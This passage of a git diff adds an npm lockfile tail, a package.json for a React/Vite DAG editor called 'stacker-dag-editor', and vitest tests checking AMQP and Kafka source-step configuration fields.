+      "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==",
+      "dev": true,
+      "license": "MIT",
+      "peer": true
+    },
+    "node_modules/react-refresh": {
+      "version": "0.17.0",
+      "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.17.0.tgz",
+      "integrity": "sha512-z6F7K9bV85EfseRCp2bzrpyQ0Gkw1uLoCel9XBVWPg/TjRj94SkJzUTGfOa4bs7iJvBWtQG0Wq7wnI0syw3EBQ==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/redent": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz",
+      "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "indent-string": "^4.0.0",
+        "strip-indent": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/require-from-string": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz",
+      "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/rollup": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.60.2.tgz",
+      "integrity": "sha512-J9qZyW++QK/09NyN/zeO0dG/1GdGfyp9lV8ajHnRVLfo/uFsbji5mHnDgn/qYdUHyCkM2N+8VyspgZclfAh0eQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@types/estree": "1.0.8"
+      },
+      "bin": {
+        "rollup": "dist/bin/rollup"
+      },
+      "engines": {
+        "node": ">=18.0.0",
+        "npm": ">=8.0.0"
+      },
+      "optionalDependencies": {
+        "@rollup/rollup-android-arm-eabi": "4.60.2",
+        "@rollup/rollup-android-arm64": "4.60.2",
+        "@rollup/rollup-darwin-arm64": "4.60.2",
+        "@rollup/rollup-darwin-x64": "4.60.2",
+        "@rollup/rollup-freebsd-arm64": "4.60.2",
+        "@rollup/rollup-freebsd-x64": "4.60.2",
+        "@rollup/rollup-linux-arm-gnueabihf": "4.60.2",
+        "@rollup/rollup-linux-arm-musleabihf": "4.60.2",
+        "@rollup/rollup-linux-arm64-gnu": "4.60.2",
+        "@rollup/rollup-linux-arm64-musl": "4.60.2",
+        "@rollup/rollup-linux-loong64-gnu": "4.60.2",
+        "@rollup/rollup-linux-loong64-musl": "4.60.2",
+        "@rollup/rollup-linux-ppc64-gnu": "4.60.2",
+        "@rollup/rollup-linux-ppc64-musl": "4.60.2",
+        "@rollup/rollup-linux-riscv64-gnu": "4.60.2",
+        "@rollup/rollup-linux-riscv64-musl": "4.60.2",
+        "@rollup/rollup-linux-s390x-gnu": "4.60.2",
+        "@rollup/rollup-linux-x64-gnu": "4.60.2",
+        "@rollup/rollup-linux-x64-musl": "4.60.2",
+        "@rollup/rollup-openbsd-x64": "4.60.2",
+        "@rollup/rollup-openharmony-arm64": "4.60.2",
+        "@rollup/rollup-win32-arm64-msvc": "4.60.2",
+        "@rollup/rollup-win32-ia32-msvc": "4.60.2",
+        "@rollup/rollup-win32-x64-gnu": "4.60.2",
+        "@rollup/rollup-win32-x64-msvc": "4.60.2",
+        "fsevents": "~2.3.2"
+      }
+    },
+    "node_modules/saxes": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz",
+      "integrity": "sha512-xAg7SOnEhrm5zI3puOOKyy1OMcMlIJZYNJY7xLBwSze0UjhPLnWfj2GF2EpT0jmzaJKIWKHLsaSSajf35bcYnA==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "xmlchars": "^2.2.0"
+      },
+      "engines": {
+        "node": ">=v12.22.7"
+      }
+    },
+    "node_modules/scheduler": {
+      "version": "0.23.2",
+      "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.2.tgz",
+      "integrity": "sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ==",
+      "license": "MIT",
+      "dependencies": {
+        "loose-envify": "^1.1.0"
+      }
+    },
+    "node_modules/semver": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+      "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+      "dev": true,
+      "license": "ISC",
+      "bin": {
+        "semver": "bin/semver.js"
+      }
+    },
+    "node_modules/shebang-command": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
+      "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "shebang-regex": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/shebang-regex": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
+      "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/siginfo": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz",
+      "integrity": "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==",
+      "dev": true,
+      "license": "ISC"
+    },
+    "node_modules/signal-exit": {
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz",
+      "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==",
+      "dev": true,
+      "license": "ISC",
+      "engines": {
+        "node": ">=14"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/isaacs"
+      }
+    },
+    "node_modules/source-map-js": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",
+      "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==",
+      "dev": true,
+      "license": "BSD-3-Clause",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/stackback": {
+      "version": "0.0.2",
+      "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz",
+      "integrity": "sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/std-env": {
+      "version": "3.10.0",
+      "resolved": "https://registry.npmjs.org/std-env/-/std-env-3.10.0.tgz",
+      "integrity": "sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/strip-final-newline": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-3.0.0.tgz",
+      "integrity": "sha512-dOESqjYr96iWYylGObzd39EuNTa5VJxyvVAEm5Jnh7KGo75V43Hk1odPQkNDyXNmUR6k+gEiDVXnjB8HJ3crXw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/strip-indent": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz",
+      "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "min-indent": "^1.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/strip-literal": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/strip-literal/-/strip-literal-2.1.1.tgz",
+      "integrity": "sha512-631UJ6O00eNGfMiWG78ck80dfBab8X6IVFB51jZK5Icd7XAs60Z5y7QdSd/wGIklnWvRbUNloVzhOKKmutxQ6Q==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "js-tokens": "^9.0.1"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/antfu"
+      }
+    },
+    "node_modules/strip-literal/node_modules/js-tokens": {
+      "version": "9.0.1",
+      "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-9.0.1.tgz",
+      "integrity": "sha512-mxa9E9ITFOt0ban3j6L5MpjwegGz6lBQmM1IJkWeBZGcMxto50+eWdjC/52xDbS2vy0k7vIMK0Fe2wfL9OQSpQ==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/symbol-tree": {
+      "version": "3.2.4",
+      "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz",
+      "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/tinybench": {
+      "version": "2.9.0",
+      "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.9.0.tgz",
+      "integrity": "sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/tinypool": {
+      "version": "0.8.4",
+      "resolved": "https://registry.npmjs.org/tinypool/-/tinypool-0.8.4.tgz",
+      "integrity": "sha512-i11VH5gS6IFeLY3gMBQ00/MmLncVP7JLXOw1vlgkytLmJK7QnEr7NXf0LBdxfmNPAeyetukOk0bOYrJrFGjYJQ==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=14.0.0"
+      }
+    },
+    "node_modules/tinyspy": {
+      "version": "2.2.1",
+      "resolved": "https://registry.npmjs.org/tinyspy/-/tinyspy-2.2.1.tgz",
+      "integrity": "sha512-KYad6Vy5VDWV4GH3fjpseMQ/XU2BhIYP7Vzd0LG44qRWm/Yt2WCOTicFdvmgo6gWaqooMQCawTtILVQJupKu7A==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=14.0.0"
+      }
+    },
+    "node_modules/tldts": {
+      "version": "7.0.28",
+      "resolved": "https://registry.npmjs.org/tldts/-/tldts-7.0.28.tgz",
+      "integrity": "sha512-+Zg3vWhRUv8B1maGSTFdev9mjoo8Etn2Ayfs4cnjlD3CsGkxXX4QyW3j2WJ0wdjYcYmy7Lx2RDsZMhgCWafKIw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "tldts-core": "^7.0.28"
+      },
+      "bin": {
+        "tldts": "bin/cli.js"
+      }
+    },
+    "node_modules/tldts-core": {
+      "version": "7.0.28",
+      "resolved": "https://registry.npmjs.org/tldts-core/-/tldts-core-7.0.28.tgz",
+      "integrity": "sha512-7W5Efjhsc3chVdFhqtaU0KtK32J37Zcr9RKtID54nG+tIpcY79CQK/veYPODxtD/LJ4Lue66jvrQzIX2Z2/pUQ==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/tough-cookie": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-6.0.1.tgz",
+      "integrity": "sha512-LktZQb3IeoUWB9lqR5EWTHgW/VTITCXg4D21M+lvybRVdylLrRMnqaIONLVb5mav8vM19m44HIcGq4qASeu2Qw==",
+      "dev": true,
+      "license": "BSD-3-Clause",
+      "dependencies": {
+        "tldts": "^7.0.5"
+      },
+      "engines": {
+        "node": ">=16"
+      }
+    },
+    "node_modules/tr46": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/tr46/-/tr46-6.0.0.tgz",
+      "integrity": "sha512-bLVMLPtstlZ4iMQHpFHTR7GAGj2jxi8Dg0s2h2MafAE4uSWF98FC/3MomU51iQAMf8/qDUbKWf5GxuvvVcXEhw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "punycode": "^2.3.1"
+      },
+      "engines": {
+        "node": ">=20"
+      }
+    },
+    "node_modules/type-detect": {
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.1.0.tgz",
+      "integrity": "sha512-Acylog8/luQ8L7il+geoSxhEkazvkslg7PSNKOX59mbB9cOveP5aq9h74Y7YU8yDpJwetzQQrfIwtf4Wp4LKcw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/typescript": {
+      "version": "5.9.3",
+      "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz",
+      "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==",
+      "dev": true,
+      "license": "Apache-2.0",
+      "bin": {
+        "tsc": "bin/tsc",
+        "tsserver": "bin/tsserver"
+      },
+      "engines": {
+        "node": ">=14.17"
+      }
+    },
+    "node_modules/ufo": {
+      "version": "1.6.3",
+      "resolved": "https://registry.npmjs.org/ufo/-/ufo-1.6.3.tgz",
+      "integrity": "sha512-yDJTmhydvl5lJzBmy/hyOAA0d+aqCBuwl818haVdYCRrWV84o7YyeVm4QlVHStqNrrJSTb6jKuFAVqAFsr+K3Q==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/undici": {
+      "version": "7.25.0",
+      "resolved": "https://registry.npmjs.org/undici/-/undici-7.25.0.tgz",
+      "integrity": "sha512-xXnp4kTyor2Zq+J1FfPI6Eq3ew5h6Vl0F/8d9XU5zZQf1tX9s2Su1/3PiMmUANFULpmksxkClamIZcaUqryHsQ==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=20.18.1"
+      }
+    },
+    "node_modules/update-browserslist-db": {
+      "version": "1.2.3",
+      "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz",
+      "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/browserslist"
+        },
+        {
+          "type": "tidelift",
+          "url": "https://tidelift.com/funding/github/npm/browserslist"
+        },
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "escalade": "^3.2.0",
+        "picocolors": "^1.1.1"
+      },
+      "bin": {
+        "update-browserslist-db": "cli.js"
+      },
+      "peerDependencies": {
+        "browserslist": ">= 4.21.0"
+      }
+    },
+    "node_modules/use-sync-external-store": {
+      "version": "1.6.0",
+      "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.6.0.tgz",
+      "integrity": "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==",
+      "license": "MIT",
+      "peerDependencies": {
+        "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0"
+      }
+    },
+    "node_modules/vite": {
+      "version": "5.4.21",
+      "resolved": "https://registry.npmjs.org/vite/-/vite-5.4.21.tgz",
+      "integrity": "sha512-o5a9xKjbtuhY6Bi5S3+HvbRERmouabWbyUcpXXUA1u+GNUKoROi9byOJ8M0nHbHYHkYICiMlqxkg1KkYmm25Sw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "esbuild": "^0.21.3",
+        "postcss": "^8.4.43",
+        "rollup": "^4.20.0"
+      },
+      "bin": {
+        "vite": "bin/vite.js"
+      },
+      "engines": {
+        "node": "^18.0.0 || >=20.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/vitejs/vite?sponsor=1"
+      },
+      "optionalDependencies": {
+        "fsevents": "~2.3.3"
+      },
+      "peerDependencies": {
+        "@types/node": "^18.0.0 || >=20.0.0",
+        "less": "*",
+        "lightningcss": "^1.21.0",
+        "sass": "*",
+        "sass-embedded": "*",
+        "stylus": "*",
+        "sugarss": "*",
+        "terser": "^5.4.0"
+      },
+      "peerDependenciesMeta": {
+        "@types/node": {
+          "optional": true
+        },
+        "less": {
+          "optional": true
+        },
+        "lightningcss": {
+          "optional": true
+        },
+        "sass": {
+          "optional": true
+        },
+        "sass-embedded": {
+          "optional": true
+        },
+        "stylus": {
+          "optional": true
+        },
+        "sugarss": {
+          "optional": true
+        },
+        "terser": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/vite-node": {
+      "version": "1.6.1",
+      "resolved": "https://registry.npmjs.org/vite-node/-/vite-node-1.6.1.tgz",
+      "integrity": "sha512-YAXkfvGtuTzwWbDSACdJSg4A4DZiAqckWe90Zapc/sEX3XvHcw1NdurM/6od8J207tSDqNbSsgdCacBgvJKFuA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "cac": "^6.7.14",
+        "debug": "^4.3.4",
+        "pathe": "^1.1.1",
+        "picocolors": "^1.0.0",
+        "vite": "^5.0.0"
+      },
+      "bin": {
+        "vite-node": "vite-node.mjs"
+      },
+      "engines": {
+        "node": "^18.0.0 || >=20.0.0"
+      },
+      "funding": {
+        "url": "https://opencollective.com/vitest"
+      }
+    },
+    "node_modules/vitest": {
+      "version": "1.6.1",
+      "resolved": "https://registry.npmjs.org/vitest/-/vitest-1.6.1.tgz",
+      "integrity": "sha512-Ljb1cnSJSivGN0LqXd/zmDbWEM0RNNg2t1QW/XUhYl/qPqyu7CsqeWtqQXHVaJsecLPuDoak2oJcZN2QoRIOag==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@vitest/expect": "1.6.1",
+        "@vitest/runner": "1.6.1",
+        "@vitest/snapshot": "1.6.1",
+        "@vitest/spy": "1.6.1",
+        "@vitest/utils": "1.6.1",
+        "acorn-walk": "^8.3.2",
+        "chai": "^4.3.10",
+        "debug": "^4.3.4",
+        "execa": "^8.0.1",
+        "local-pkg": "^0.5.0",
+        "magic-string": "^0.30.5",
+        "pathe": "^1.1.1",
+        "picocolors": "^1.0.0",
+        "std-env": "^3.5.0",
+        "strip-literal": "^2.0.0",
+        "tinybench": "^2.5.1",
+        "tinypool": "^0.8.3",
+        "vite": "^5.0.0",
+        "vite-node": "1.6.1",
+        "why-is-node-running": "^2.2.2"
+      },
+      "bin": {
+        "vitest": "vitest.mjs"
+      },
+      "engines": {
+        "node": "^18.0.0 || >=20.0.0"
+      },
+      "funding": {
+        "url": "https://opencollective.com/vitest"
+      },
+      "peerDependencies": {
+        "@edge-runtime/vm": "*",
+        "@types/node": "^18.0.0 || >=20.0.0",
+        "@vitest/browser": "1.6.1",
+        "@vitest/ui": "1.6.1",
+        "happy-dom": "*",
+        "jsdom": "*"
+      },
+      "peerDependenciesMeta": {
+        "@edge-runtime/vm": {
+          "optional": true
+        },
+        "@types/node": {
+          "optional": true
+        },
+        "@vitest/browser": {
+          "optional": true
+        },
+        "@vitest/ui": {
+          "optional": true
+        },
+        "happy-dom": {
+          "optional": true
+        },
+        "jsdom": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/w3c-xmlserializer": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz",
+      "integrity": "sha512-o8qghlI8NZHU1lLPrpi2+Uq7abh4GGPpYANlalzWxyWteJOCsr/P+oPBA49TOLu5FTZO4d3F9MnWJfiMo4BkmA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "xml-name-validator": "^5.0.0"
+      },
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/webidl-conversions": {
+      "version": "8.0.1",
+      "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-8.0.1.tgz",
+      "integrity": "sha512-BMhLD/Sw+GbJC21C/UgyaZX41nPt8bUTg+jWyDeg7e7YN4xOM05YPSIXceACnXVtqyEw/LMClUQMtMZ+PGGpqQ==",
+      "dev": true,
+      "license": "BSD-2-Clause",
+      "engines": {
+        "node": ">=20"
+      }
+    },
+    "node_modules/whatwg-mimetype": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-5.0.0.tgz",
+      "integrity": "sha512-sXcNcHOC51uPGF0P/D4NVtrkjSU2fNsm9iog4ZvZJsL3rjoDAzXZhkm2MWt1y+PUdggKAYVoMAIYcs78wJ51Cw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=20"
+      }
+    },
+    "node_modules/whatwg-url": {
+      "version": "16.0.1",
+      "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-16.0.1.tgz",
+      "integrity": "sha512-1to4zXBxmXHV3IiSSEInrreIlu02vUOvrhxJJH5vcxYTBDAx51cqZiKdyTxlecdKNSjj8EcxGBxNf6Vg+945gw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@exodus/bytes": "^1.11.0",
+        "tr46": "^6.0.0",
+        "webidl-conversions": "^8.0.1"
+      },
+      "engines": {
+        "node": "^20.19.0 || ^22.12.0 || >=24.0.0"
+      }
+    },
+    "node_modules/which": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
+      "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "isexe": "^2.0.0"
+      },
+      "bin": {
+        "node-which": "bin/node-which"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/why-is-node-running": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz",
+      "integrity": "sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "siginfo": "^2.0.0",
+        "stackback": "0.0.2"
+      },
+      "bin": {
+        "why-is-node-running": "cli.js"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/xml-name-validator": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz",
+      "integrity": "sha512-EvGK8EJ3DhaHfbRlETOWAS5pO9MZITeauHKJyb8wyajUfQUenkIg2MvLDTZ4T/TgIcm3HU0TFBgWWboAZ30UHg==",
+      "dev": true,
+      "license": "Apache-2.0",
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/xmlchars": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz",
+      "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/yallist": {
+      "version": "3.1.1",
+      "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
+      "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==",
+      "dev": true,
+      "license": "ISC"
+    },
+    "node_modules/yocto-queue": {
+      "version": "1.2.2",
+      "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-1.2.2.tgz",
+      "integrity": "sha512-4LCcse/U2MHZ63HAJVE+v71o7yOdIe4cZ70Wpf8D/IyjDKYQLV5GD46B+hSTjJsvV5PztjvHoU580EftxjDZFQ==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=12.20"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/zustand": {
+      "version": "4.5.7",
+      "resolved": "https://registry.npmjs.org/zustand/-/zustand-4.5.7.tgz",
+      "integrity": "sha512-CHOUy7mu3lbD6o6LJLfllpjkzhHXSBlX8B9+qPddUsIfeF5S/UZ5q0kmCsnRqT1UHFQZchNFDDzMbQsuesHWlw==",
+      "license": "MIT",
+      "dependencies": {
+        "use-sync-external-store": "^1.2.2"
+      },
+      "engines": {
+        "node": ">=12.7.0"
+      },
+      "peerDependencies": {
+        "@types/react": ">=16.8",
+        "immer": ">=9.0.6",
+        "react": ">=16.8"
+      },
+      "peerDependenciesMeta": {
+        "@types/react": {
+          "optional": true
+        },
+        "immer": {
+          "optional": true
+        },
+        "react": {
+          "optional": true
+        }
+      }
+    }
+  }
+}
diff --git a/web/package.json b/web/package.json
new file mode 100644
index 00000000..788a4432
--- /dev/null
+++ b/web/package.json
@@ -0,0 +1,29 @@
+{
+  "name": "stacker-dag-editor",
+  "version": "0.1.0",
+  "private": true,
+  "scripts": {
+    "dev": "vite",
+    "build": "tsc && vite build",
+    "preview": "vite preview",
+    "test": "vitest run",
+    "test:watch": "vitest"
+  },
+  "dependencies": {
+    "@xyflow/react": "^12.0.0",
+    "react": "^18.3.1",
+    "react-dom": "^18.3.1"
+  },
+  "devDependencies": {
+    "@testing-library/jest-dom": "^6.9.1",
+    "@testing-library/react": "^16.3.2",
+    "@testing-library/user-event": "^14.6.1",
+    "@types/react": "^18.3.0",
+    "@types/react-dom": "^18.3.0",
+    "@vitejs/plugin-react": "^4.3.0",
+    "jsdom": "^29.0.2",
+    "typescript": "^5.5.0",
+    "vite": "^5.4.0",
+    "vitest": "^1.6.1"
+  }
+}
diff --git a/web/src/__tests__/amqp-kafka.test.tsx b/web/src/__tests__/amqp-kafka.test.tsx
new file mode 100644
index 00000000..77b84d89
--- /dev/null
+++ b/web/src/__tests__/amqp-kafka.test.tsx
@@ -0,0 +1,52 @@
+import { describe, it, expect, vi } from 'vitest';
+import { render, screen } from '@testing-library/react';
+import React from 'react';
+import { STEP_TYPES } from '../api';
+import { STARTER_TEMPLATES } from '../templates';
+import StepConfigPanel from '../components/StepConfigPanel';
+
+describe('AMQP & Kafka source step types', () => {
+  // ── API layer ──
+  it('STEP_TYPES includes amqp_source', () => {
+    expect(STEP_TYPES).toContain('amqp_source');
+  });
+
+  it('STEP_TYPES includes kafka_source', () => {
+    expect(STEP_TYPES).toContain('kafka_source');
+  });
+
+  // ── Config panel structured fields ──
+  it('amqp_source config shows amqp_url and queue fields', () => {
+    render(
+      <StepConfigPanel
+        stepId="s1"
+        stepName="RabbitMQ"
+        stepType="amqp_source"
+        config={{}}
+        onUpdate={vi.fn()}
+        onDelete={vi.fn()}
+        onClose={vi.fn()}
+      />,
+    );
+    expect(screen.getByLabelText(/AMQP URL/i)).toBeInTheDocument();
+    expect(screen.getByLabelText(/Queue/i)).toBeInTheDocument();
+    expect(screen.getByLabelText(/Exchange/i)).toBeInTheDocument();
+  });
+
+  it('kafka_source config shows brokers and topic fields', () => {
+    render(
+      <StepConfigPanel
+        stepId="s2"
+        stepName="Kafka"
+        stepType="kafka_source"
+        config={{}}
+        onUpdate={vi.fn()}
+        onDelete={vi.fn()}
+        onClose={vi.fn()}
+      />,
+    );
+    expect(screen.getByLabelText(/Brokers/i)).toBeInTheDocument();
+    expect(screen.getByLabelText(/Topic/i)).toBeInTheDocument();
+    expect(screen.getByLabelText(/Group ID/i)).toBeInTheDocument();
+  });
+});
diff --git a/web/src/__tests__/api.test.ts b/web/src/__tests__/api.test.ts
new file mode 100644
index 00000000..3d7e87e0
--- /dev/null
+++ b/web/src/__tests__/api.test.ts
@@ -0,0 +1,166 @@
+import { describe, it, expect, vi, beforeEach } from 'vitest';
+
+// We test the api module by mocking fetch and verifying:
+// 1. Field names sent to the API (name, not step_name; no position_x/y)
+// 2. Response unwrapping (item/list wrappers)
+// 3. Interface shape (DagStep.name, not DagStep.step_name)
+
+// Mock fetch globally
+const mockFetch = vi.fn();
